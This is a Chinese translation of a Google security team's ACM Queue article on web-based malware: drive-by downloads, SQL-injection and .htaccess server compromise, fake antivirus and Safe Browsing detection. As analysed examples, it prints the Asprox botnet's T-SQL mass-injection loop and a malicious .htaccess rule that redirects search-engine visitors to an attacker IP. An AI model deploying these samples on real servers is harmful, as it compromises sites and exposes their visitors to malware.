下载本文的 PDF 版本 PDF

网络犯罪 2.0:当云端变暗

基于网络的恶意软件攻击比以往任何时候都更加阴险。可以采取哪些措施来阻止这种趋势?

Niels Provos、Moheeb Abu Rajab 和 Panayiotis Mavrommatis,谷歌

随着 Web 在日常交易中变得至关重要,它也成为网络犯罪的诱人途径。今天我们在 Web 上看到的犯罪与更传统的网络攻击截然不同,其动机是经济利益。几年前,互联网攻击者严重依赖远程利用服务器,这些服务器是通过扫描互联网以查找易受攻击的网络服务来识别的。自主传播的计算机蠕虫(如红色代码和 SQLSlammer)就是此类扫描攻击的例子。它们巨大的规模甚至使整个互联网都处于危险之中;例如,SQLSlammer 产生的流量足以使骨干网崩溃。

因此,学术界和工业界都开发了有效的方法来加强网络边界以防御此类攻击。不幸的是,攻击者也同样改变了策略,从嘈杂的扫描转向更隐蔽的攻击。

他们不仅改变了策略,也改变了动机。以前,像网络蠕虫这样的大规模事件主要是技术优越性的展示。今天,网络犯罪分子的主要动机是经济利益,不仅要尽可能长时间地利用和控制受损系统,还要将他们的资产转化为收入。

Web 为网络犯罪分子提供了强大的基础设施,可以入侵计算机系统并将其产生的计算资源以及可以从中窃取的任何信息货币化。网络犯罪分子使用 Web 来提供恶意内容,这些内容能够入侵用户的计算机并在其上运行任意代码。这在很大程度上是由于 Web 浏览器日益复杂以及复杂软件带来的漏洞而成为可能。例如,现代 Web 浏览器提供了一个强大的计算平台,可以访问不同的脚本语言(例如 JavaScript),以及可能不遵循浏览器应用的相同安全策略的外部插件(例如 Flash 或 Java)。

虽然这些功能允许复杂的 Web 应用程序,但它们也允许人们收集有关目标系统的信息并交付专门针对用户计算机量身定制的漏洞利用程序。阻止入站连接的边界防御对于漏洞利用毫无用处,因为攻击者使用浏览器发起出站连接以下载攻击载荷。这种类型的流量看起来几乎与用户的正常浏览流量相同,通常不会被网络防火墙阻止。

为了防止基于网络的恶意软件感染用户,谷歌开发了一种基础设施来识别恶意网页。来自该基础设施的数据用于保护 Web 搜索结果,以及保护 Firefox 和 Chrome 等浏览器。在本文中,我们将讨论有趣的 Web 攻击趋势以及与这种日益增长的威胁相关的一些挑战。

Web 攻击

随着 Web 浏览器变得更加强大,Web 功能更加丰富,普通用户很难理解访问网页时会发生什么。在大多数应用程序中,访问网页会导致浏览器从多个不同的提供商处提取内容(例如,显示第三方广告、交互式地图或显示在线视频)。设计网页并使其对用户具有吸引力所涉及的可能性之多令人震惊。这些功能增加了构成现代 Web 浏览器的组件的复杂性。不幸的是,每个浏览器组件都可能引入新的漏洞,攻击者可以利用这些漏洞来获得对用户计算机的控制权。在过去几年中,我们看到了越来越多的浏览器漏洞5,7,其中一些漏洞在数周内都没有得到官方修复。

为了利用漏洞,攻击者必须让用户访问包含恶意内容的网页。吸引用户流量的一种方法是发送垃圾邮件,宣传指向恶意网页的链接,但这种传递机制要求用户打开垃圾邮件,然后单击嵌入的链接。无处不在的 Web 基础设施提供了一个更好的解决方案。虽然利用 Web 浏览器很容易,但利用 Web 服务器更容易。设置和部署 Web 服务器的相对简单性导致了大量具有远程可利用漏洞的 Web 应用程序。不幸的是,这些漏洞很少被修补,并且对 Web 服务器的远程利用正在增加。攻击者可以轻松入侵 Web 服务器并注入恶意内容(例如,通过指向漏洞利用服务器的 IFrame)。任何访问此类受损 Web 服务器的访问者都会成为漏洞利用的目标。如果访问者的系统存在漏洞,则漏洞利用程序会导致浏览器下载并执行任意载荷。此过程称为驱动式下载。根据受损网站的受欢迎程度,攻击者可能会访问大量用户群体。去年,拥有数百万访问者的网站以这种方式被入侵。

接管 Web 服务器

不幸的是,将 Web 服务器变成感染媒介非常简单。在过去几年中,我们观察到许多针对 Web 服务器和 Web 应用程序的不同攻击,从简单的密码猜测到可以一次感染数千台服务器的更高级的漏洞利用。一般来说,这些攻击旨在更改网站内容,以将访问者重定向到攻击者控制的服务器。以下部分将详细介绍最近一些主要的服务器攻击示例。

SQL 注入攻击。 SQL 注入是一种常用于攻击运行易受攻击的数据库应用程序的 Web 服务器的漏洞利用技术。当用户输入未正确清理(例如,通过过滤转义字符和字符串文字)时,就会发生漏洞,因此导致精心设计的用户输入被解释为代码并在服务器上执行。SQL 注入通常用于对易受攻击的数据库服务器执行未经授权的操作,例如收集用户信息和操纵数据库内容。在运行 SQL 数据库以管理用户身份验证的 Web 应用程序中,攻击者使用 SQL 注入来绕过登录并获得对用户帐户的未授权访问,甚至更糟糕的是,获得对 Web 应用程序的管理访问权限。这些攻击的其他变体允许攻击者更改服务器数据库的内容并注入他们自己的内容。

去年,Asprox 僵尸网络15 发起了主要的 SQL 注入攻击,其中数千个僵尸程序配备了 SQL 注入工具包,该工具包向 Google 发送专门制作的查询,搜索运行 ASP.net 的服务器,然后对从这些查询返回的网站发起 SQL 注入攻击。在这些攻击中,僵尸程序将包含漏洞利用载荷的编码 SQL 查询(类似于此处显示的格式)发送到目标 Web 服务器

http://www.victim-site.com/asp_application.asp?arg=<encoded sql query>

易受攻击的服务器解码并执行查询载荷,在 Asprox 案例中,产生了类似于此处显示的代码片段的 SQL 代码:13

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table _ Cursor CURSOR FOR SELECT a.name, b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167)
OPEN Table _ Cursor FETCH NEXT FROM Table _ Cursor INTO @T,@C
WHILE(@@FETCH _ STATUS=0)
BEGIN EXEC(‘UPDATE [‘+@T+']
SET [‘+@C+']=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+']))+''''')
FETCH NEXT FROM Table _ Cursor INTO @T,@C
END CLOSE Table _ Cursor
DEALLOCATE Table _ Cursor

解码后的载荷在 Web 服务器文件夹中搜索 unicode 和 ASCII 文件,并在其中注入 IFrame 或脚本标记。注入的内容将网站用户重定向到攻击者控制的 Web 服务器,从而使他们直接受到漏洞利用。

我们在过去八个月中监控了 Asprox 僵尸网络,并观察到僵尸程序收到刷新其要注入的域列表的指令。总的来说,我们已经看到了 340 个不同的注入域。我们对成功注入的分析表明,大约 600 万个 URL 属于 153,000 个不同的网站,是 Asprox 僵尸网络 SQL 注入攻击的受害者。虽然 Asprox 僵尸网络不再活跃,但一些受害者网站仍在将用户重定向到恶意域。由于僵尸程序以非协调方式注入代码,因此许多网站最终会随着时间的推移多次注入恶意脚本。

通过 .htaccess 重定向。 即使服务器上的网页是无害且未修改的,Web 服务器也可能将用户定向到恶意内容。最近,攻击者入侵了基于 Apache 的 Web 服务器并更改了 .htaccess 文件中的配置规则。此配置文件不仅可以用于访问控制,还可以选择性地将 URL 重定向到其他目标。在我们对 Web 服务器的分析中,我们发现了几起事件,其中攻击者安装了 .htaccess 配置文件,以将访问者重定向到恶意软件分发站点(例如,虚假的防病毒站点,我们稍后将讨论)。

.htaccess 重定向的一个有趣方面是试图向站点所有者隐藏入侵行为。例如,重定向可以是条件性的,具体取决于访问者如何到达受损 Web 服务器,这由传入请求的 HTTP Referer 标头确定。在我们观察到的事件中,.htaccess 规则配置为通过搜索引擎到达的访问者被重定向到恶意软件站点。但是,当站点所有者直接在浏览器的地址栏中键入 URL 时,站点将正常加载,因为 Referer 标头未设置。

以下代码是受损 .htaccess 文件的示例。11

RewriteEngine On
RewriteCond %{HTTP _ REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP _ REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

在此示例中,通过任何列出的搜索引擎访问受损站点的用户将被重定向到 http://89.28.13.204/in.html?s=xx。请注意,初始重定向通常是指向充当暂存服务器的 IP 地址,并将用户重定向到一组不断变化的域。暂存服务器管理哪些用户被重定向到哪里。例如,暂存服务器可以检查用户是否已经访问过重定向器,然后在随后的任何访问中返回空载荷。我们假设这是为了使重定向链的分析和重现更加困难。攻击者还经常重写 .htaccess 文件以指向不同的 IP 地址。删除 .htaccess 文件而不修补原始漏洞或更改服务器凭据将无法解决问题。许多网站管理员试图删除 .htaccess 文件,并在第二天在他们的服务器上找到了一个新的文件。

接管 Web 用户

一旦攻击者将 Web 服务器变成感染媒介,访问该站点的访问者将遭受各种漏洞利用尝试。一般来说,客户端漏洞利用分为两大类:自动驱动式下载和社会工程攻击。

驱动式下载。 在驱动式下载中,攻击者试图利用浏览器、操作系统或浏览器的外部插件中的缺陷。成功的漏洞利用会导致恶意软件在用户不知情或未经同意的情况下交付并在用户的机器上执行。例如,我们遇到的一种流行的漏洞利用利用了 MDAC(Microsoft 数据访问组件)中的漏洞,该漏洞允许在用户计算机上执行任意代码。8 20 行 JavaScript 代码片段就足以利用此漏洞并启动驱动式下载。

另一种流行的漏洞利用是由 Microsoft Windows 的 WebViewFolderIcon 中的漏洞引起的。漏洞利用 JavaScript 使用一种称为堆喷射的技术,该技术在堆上创建大量 JavaScript 字符串对象。每个 JavaScript 字符串都包含 x86 机器代码(shellcode),用于在被利用的系统上下载和执行二进制文件。通过喷射堆,攻击者试图在内存中的已知位置创建 shellcode 的副本,然后将程序执行重定向到它。

社会工程攻击。 当驱动式下载未能入侵用户的机器时,攻击者通常会采用社会工程技术来诱骗用户自行安装和运行恶意软件。Web 上充斥着欺骗性内容,诱使用户下载恶意软件。

一种常见的攻击类型包括类似于流行视频播放器的图像,以及虚假的警告,提示计算机缺少显示视频所需的必要编解码器,或者需要更新版本的视频播放器插件才能观看视频。相反,提供的链接会下载一个木马,一旦安装,该木马将使攻击者完全控制用户的机器。

最近的一种伎俩涉及虚假的安全性扫描。一个经过专门设计的网站显示病毒扫描对话框,以及动画进度条和计算机上假定找到的感染列表,但所有警告都是虚假的,旨在恐吓用户相信机器已被感染。然后,该网站提供一个下载作为解决方案,这可能是另一个木马,或者要求用户支付注册费以执行不必要的机器清理。

我们观察到虚假防病毒攻击稳步增加。从 2008 年 7 月到 10 月,我们测得平均有 60 个不同的域提供虚假安全产品,平均感染了 1,500 个网站。在 2008 年 11 月和 12 月,域的数量增加到 475 个,感染了超过 85,000 个 URL。当时,联邦贸易委员会报告称,超过 100 万消费者被诱骗购买这些产品,美国地方法院发布了针对这些虚假产品背后的一些公司的停止令和资产冻结令。3 这似乎不足以阻止该计划。在 2009 年 1 月,我们观察到超过 450 个不同的域提供虚假安全产品,受感染的 URL 数量已增加到 148,000 个。

用户机器上的恶意软件活动。 一旦攻击者控制了用户的机器,他们通常会尝试将其工作转化为利润。我们之前分析了驱动式下载安装的 Web 恶意软件的行为。10 在许多情况下,恶意软件配备了键盘记录器来监视用户的活动。通常,会安装后门,允许攻击者在稍后的时间直接访问机器。更复杂的恶意软件将机器变成一个僵尸程序,监听远程命令并按需执行各种任务。例如,僵尸网络常见的用途包括发送垃圾邮件或收集密码或信用卡号。僵尸网络为攻击者提供了一定程度的匿名性,因为垃圾邮件似乎是从一组不断变化的 IP 地址发送的,这使得将它们列入黑名单变得更加困难。

为了帮助提高互联网的安全性,谷歌开发了一个广泛的基础设施,用于识别触发驱动式下载的 URL。我们的分析首先检查谷歌庞大的 Web 存储库中的页面。由于详尽地检查每个页面成本过高,因为存储库包含数十亿个页面,因此我们开发了一个轻量级系统来识别可能具有恶意的候选页面。然后,在虚拟机中对这些页面进行更详细的分析,使我们能够确定访问页面是否会导致机器本身的恶意更改。

轻量级分析使用机器学习框架,该框架可以检测 90% 的恶意页面,误报率仅为 10-3。在这种误报率下,过滤器将虚拟机的工作负载从数十亿页减少到仅数百万页。确定为恶意的 URL 将进一步处理为主机后缀路径前缀模式。自 2006 年以来,该系统已用于保护谷歌的搜索引擎。我们的数据也通过谷歌的安全浏览 API 发布,供 Firefox、Chrome 和 Safari 等浏览器使用,这些浏览器使用该数据来阻止用户访问有害页面。

挑战

尽管为使用户的 Web 更安全做出了这些努力,但仍然存在许多根本性的挑战,需要未来的工作。

保护 Web 服务。 在 Web 上建立存在,从简单的 HTML 页面到高级 Web 应用程序,已成为一个简单的过程。即使是技术知识很少的人也可以设置 Web 服务,但维护此类服务并保持其安全仍然很困难。许多 Web 应用程序框架要求程序员遵循严格的安全实践,例如清理和转义用户输入。不幸的是,由于这种负担落在了程序员身上,许多 Web 应用程序都存在可能被远程利用的漏洞。12,14 例如,SQL 注入攻击是由于程序员忽略了转义外部输入而造成的。

流行的 Web 应用程序(如公告板或博客)会频繁发布安全更新,但许多管理员忽略了更新其安装。即使是 Web 服务器软件本身(如 Apache 或 IIS)也经常过时。我们之前发现,在受损站点中,超过 38% 的 Apache 安装和 40% 的 PHP 安装是不安全的并且已过时。10

为了避免入侵 Web 应用程序,开发自动修补 Web 服务器和 Web 应用程序的机制非常重要。一些 Web 应用程序已经通知网站管理员有关安全更新的信息,但安全补丁的实际安装通常仍然是手动完成的,并且很复杂。

完全安全地防御驱动式下载是很困难的。有人要获得对您的系统的控制权,只需要一个漏洞即可。任何暴露于 Web 内容且未及时更新的软件都可能成为最薄弱的环节。

许多浏览器插件和加载项(如工具栏)不提供自动更新。此外,系统更新通常需要在安装后重新启动,这会阻止用户及时应用安全补丁。

即使系统已完全修补,某些软件的漏洞窗口通常也很大。主要浏览器在 2006 年长达 284 天的时间内是不安全的,并且至少有 98 天,犯罪分子利用没有可用补丁的漏洞窃取个人和财务数据。5,6 尽管在浏览器中提供故障隔离以防止漏洞被利用方面正在取得进展1,4,但仍然需要开发完全安全的浏览器。

检测社会工程攻击。 许多驱动式下载可以通过客户端蜜罐自动检测到。但是,当攻击者使用社会工程来诱骗用户安装恶意软件时,自动检测会变得非常复杂。尽管用户交互可以通过客户端蜜罐模拟,但一个根本问题是用户对下载应用程序的功能的期望与其实际功能之间的比较。在前面描述的视频案例中,用户期望观看视频。在下载并安装此类木马后,通常什么都不会发生。这可能会警告用户某些事情不对劲,并可能导致用户尝试修复系统;但是,安装的软件也很容易播放视频,使用户没有理由怀疑系统已被感染。

同样,某些虚假的防病毒软件实际上对旧恶意软件具有一定的检测能力。那么问题是如何确定一件软件是否按广告宣传的那样运行。一般来说,没有明确的答案。例如,流行的 Google 工具栏允许用户选择接收访问页面的页面排名。这通过将当前 URL 发送到 Google,然后返回关联的页面排名并将其显示在浏览器中来实现。这是一项用户期望的合法功能,但类似的软件可能不会公开其功能并将所有访问的 URL 发送到一些不祥的第三方。在这种情况下,我们会将该软件标记为间谍软件。

当恶意活动仅在某些条件下触发时,自动分析2,9 会更加困难。例如,一些银行木马会监视浏览器窗口中的 URL,并且仅针对特定的银行网站覆盖虚假的输入字段。自动工具可能会发现覆盖功能,但如果木马要与 URL 的单向哈希值进行比较,则确定哪些银行是目标可能会相当困难。

结论

毫无疑问,基于 Web 的恶意软件是许多用户的安全问题。不幸的是,允许 Web 被用于恶意软件传播的根本原因是其设计中固有的安全性不足——Web 应用程序和支持这些应用程序的互联网基础设施在设计时都没有经过深思熟虑的安全模型。浏览器在复杂性方面不断发展,以支持广泛的应用程序;它们继承了其中的一些弱点,并添加了更多自身的弱点。尽管一些解决方案很有希望,并且可能有助于减少问题的严重性,但安全浏览仍将是一个备受追捧的目标,值得学术界和工业界认真关注。

参考文献

1. Barth, A., Jackson, C., Reis, C. 2008. Chromium 浏览器的安全架构; http://crypto.stanford.edu/websec/chromium/chromium-security-architecture.pdf.

2. Brumley, D., Hartwig, C., Kang, M., Liang, Z., Newsome, J., Song, D., Yin, H. 2007. BitScope:自动剖析恶意二进制文件。技术报告 CMU-CS-07-133。卡内基梅隆大学计算机科学学院(3 月)。

3. 联邦贸易委员会。2008. 法院叫停虚假计算机扫描(12 月); www.ftc.gov/opa/2008/12/winsoftware.shtm.

4. Grier, C., Tang, S., King, S. 2008. 使用 OP Web 浏览器进行安全 Web 浏览。在IEEE 安全与隐私研讨会论文集中:402-416。

5. Krebs, B. 2007. 2006 年 Internet Explorer 在 284 天内不安全。《华盛顿邮报在线》博客(1 月)。

6. Krebs, B. 2009. 博客之战:IE 与 Firefox 安全性。《华盛顿邮报在线》博客(1 月)。

7. Microsoft 安全公告 (935423)。2007. Windows 动画光标处理中的漏洞; http://www.microsoft.com/TechNet/security/advisory/935423.mspx.

8. Microsoft 安全公告 MS06-014。2006. Microsoft 数据访问组件 (MDAC) 功能中的漏洞可能允许代码执行; http://www.microsoft.com/technet/security/Bulletin/ms06-014.mspx.

9. Moser, A., Kruegel, C., Kirda, E. 2007. 探索恶意软件分析的多个执行路径。在IEEE 安全与隐私研讨会论文集中:231-245。

10. Polychronakis, M., Mavrommatis, P., Provos, N. 2008. Ghost 变成僵尸:探索基于 Web 的恶意软件的生命周期。在第一届 Usenix 大规模漏洞利用和新兴威胁研讨会论文集中(4 月)。

11. Provos, N. 2008. 使用 htaccess 分发恶意软件(12 月); www.provos.org/index.php?/archives/55-Using-htaccess-To-Distribute-Malware.html.

12. Provos, N., Mavrommatis, P., Rajab, M.A., Monrose, F. 2008. 你的所有 IFrame 都指向我们。《Usenix 安全研讨会》:1-16。

13. Raz, R. 2008. Asprox 静默篡改。Web 安全章节(12 月); http://chaptersinWebsecurity.blogspot.com/2008/07/asprox-silent-defacement.html.

14. Small, S., Mason, J., Monrose, F., Provos, N., Stubblefield, A. 2008. 捕获掠食者:一种用于引诱恶意载荷的自然语言方法。《Usenix 安全研讨会》:171-184。

15. Stewart, J. 2008. Danmec/Asprox SQL 注入攻击工具分析。Secure Works Online(5 月); www.secureworks.com/research/threats/danmecasprox.

NIELS PROVOS ([email protected]) 于 2003 年加入谷歌,目前是基础设施安全组的首席软件工程师。他的兴趣领域包括计算机和网络安全,以及大规模分布式系统。他在 Usenix 董事会任职。

MOHEEB ABU RAJAB ([email protected]) 于 2008 年加入谷歌,目前是基础设施安全组的软件工程师。他的兴趣领域包括计算机和网络安全。

PANAYIOTIS MAVROMMATIS ([email protected]) 于 2006 年加入谷歌,目前在安全组担任高级软件工程师。

© 2009 1542-7730 /09/0200 $5.00

本文以印刷形式发表于 2009 年 4 月的Communications of the 杂志。

acmqueue

最初发表于 Queue 第 7 卷,第 2 期
数字图书馆 中评论本文





更多相关文章

Paul Vixie - 要么静态,要么回家
当前和历史上计算机和网络安全中的大多数问题都归结为一个简单的观察:让其他人控制我们的设备对我们不利。在另一个时间,我将解释“其他人”和“不利”是什么意思。就本文而言,我将完全专注于我所说的控制。我们失去对设备控制权的一种方式是外部分布式拒绝服务 (DDoS) 攻击,这些攻击用不需要的流量填充网络,从而没有空间容纳真实的(“需要的”)流量。其他形式的 DDoS 类似:例如,低轨道离子炮 (LOIC) 的攻击可能不会完全填满网络,但它可以使 Web 服务器忙于应答无用的攻击请求,以至于服务器无法应答任何有用的客户请求。


Axel Arnbak, Hadi Asghari, Michel Van Eeten, Nico Van Eijk - HTTPS 市场中的安全崩溃
HTTPS(超文本传输​​协议安全)已发展成为安全 Web 浏览的事实标准。通过基于证书的身份验证协议,Web 服务和 Internet 用户首先使用 TLS/SSL 证书相互验证身份(“握手”),对 Web 通信进行端到端加密,并在浏览器中显示挂锁以指示通信是安全的。近年来,HTTPS 已成为保护在线社交、政治和经济活动的重要技术。


Sharon Goldberg - 为什么保护互联网路由需要这么长时间?
BGP(边界网关协议)是将互联网粘合在一起的粘合剂,它实现了不同组织运营的大型网络之间的数据通信。BGP 通过为组织之间的流量设置路由(例如,从波士顿大学的网络,通过更大的 ISP(互联网服务提供商),如 Level3、巴基斯坦电信和中国电信,然后到住宅网络(如 Comcast)或企业网络(如美国银行))使互联网通信全球化。


Ben Laurie - 证书透明度
2011 年 8 月 28 日,一个错误颁发的 google.com 通配符 HTTPS 证书被用于对伊朗的多名用户进行中间人攻击。该证书由一家名为 DigiNotar 的荷兰 CA(证书颁发机构)颁发,DigiNotar 是 VASCO Data Security International 的子公司。后来的分析表明,DigiNotar 早在一个多月前(至少自 7 月 19 日起)就意识到了其系统中的漏洞。它还表明,至少颁发了 531 个欺诈性证书。最终计数可能永远不会为人所知,因为 DigiNotar 没有所有错误颁发的证书的记录。





© 保留所有权利。

© . All rights reserved.